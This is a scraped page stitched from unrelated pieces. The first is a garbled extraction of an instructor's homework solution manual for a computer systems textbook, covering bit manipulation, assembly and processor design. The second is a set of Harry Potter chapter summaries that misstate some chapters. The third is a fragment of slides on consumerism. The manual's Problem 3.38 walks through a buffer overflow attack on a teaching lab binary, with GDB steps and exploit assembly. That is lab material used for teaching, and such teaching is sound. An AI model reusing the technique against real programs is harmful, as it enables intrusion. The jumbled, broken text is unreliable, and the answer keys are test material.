深⼊理解计算机系统答案（超⾼清电⼦版）Computer Systems:A Programmer’s Perspective Instructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20032Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not de?ne the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x</doc/dde1f034f111f18583d05a59.html pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most signi?cant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time. 4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive/doc/dde1f034f111f18583d05a59.html ing C notation,if we de?ne y to be x-1,then we have?y+1equal to-y,and hence?y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.The?nal term has no effect on the-bit representation of,but the middle term represents acode/data/uhp-ans.c Problem2.50Solution:1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..((1<B..((1<Problem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):?0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k??((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/?oatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working through?oating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEE?oating point more concrete.Description8000Smallest value4700Largest denormalized———1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){4unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3?t2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insigni?cant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will compute?rst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also set1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt); 1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/ 2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer over?ow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return a? xed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call804847098048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3retWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.We?nd the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.We?nd the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will over?ow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between the?oating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’。
哈利波特与死亡圣器每章主要内容
哈利波特与死亡圣器每章主要内容Harry Potter and the Deathly Hallows Chapter Summary。
Chapter 1: The Dark Lord Ascending。
The story begins with the Death Eaters meeting at Malfoy Manor, where Voldemort is furious about Harry's escape. The Malfoys are punished for their failure to capture Harry, and the Death Eaters are sent out to find him.Chapter 2: In Memoriam。
Harry, Ron, and Hermione attend the wedding of Bill and Fleur, but the celebration is cut short when Death Eaters attack. The trio narrowly escapes and goes into hiding.Chapter 3: The Dursleys Departing。
Harry says goodbye to the Dursleys as they go into hiding to protect them from Voldemort. The Order of the Phoenix helps them leave Privet Drive safely.Chapter 4: The Seven Potters。
The Order of the Phoenix uses Polyjuice Potion to create seven Harry Potter decoys in order to safely transport him to a new location. However, they are ambushed by Death Eaters, resulting in a chaotic battle.Chapter 5: Fallen Warrior。
chapter1课件
At this time compact disc players, digital media, personal computers, and cellular phones, all began to integrate into the affluent American’s everyday lifestyle. A large change in American culture has subsequently occurred – “a shift away from values of community, spirituality, and integrity, and toward competition, materialism and disconnection.”
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Social responsibility is an ethical or ideological[1] theory that an entity whether it is a government, corporation, organization or individual has a responsibility to society.
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Modern Consumerism in the 21st century
Beginning in the 1990’s the most frequent reason given for attending college had changed to making a lot of money, outranking reasons such as becoming an authority in a field or helping others in difficulty. This statement directly correlates with the rise of materialism, specifically the technological aspect.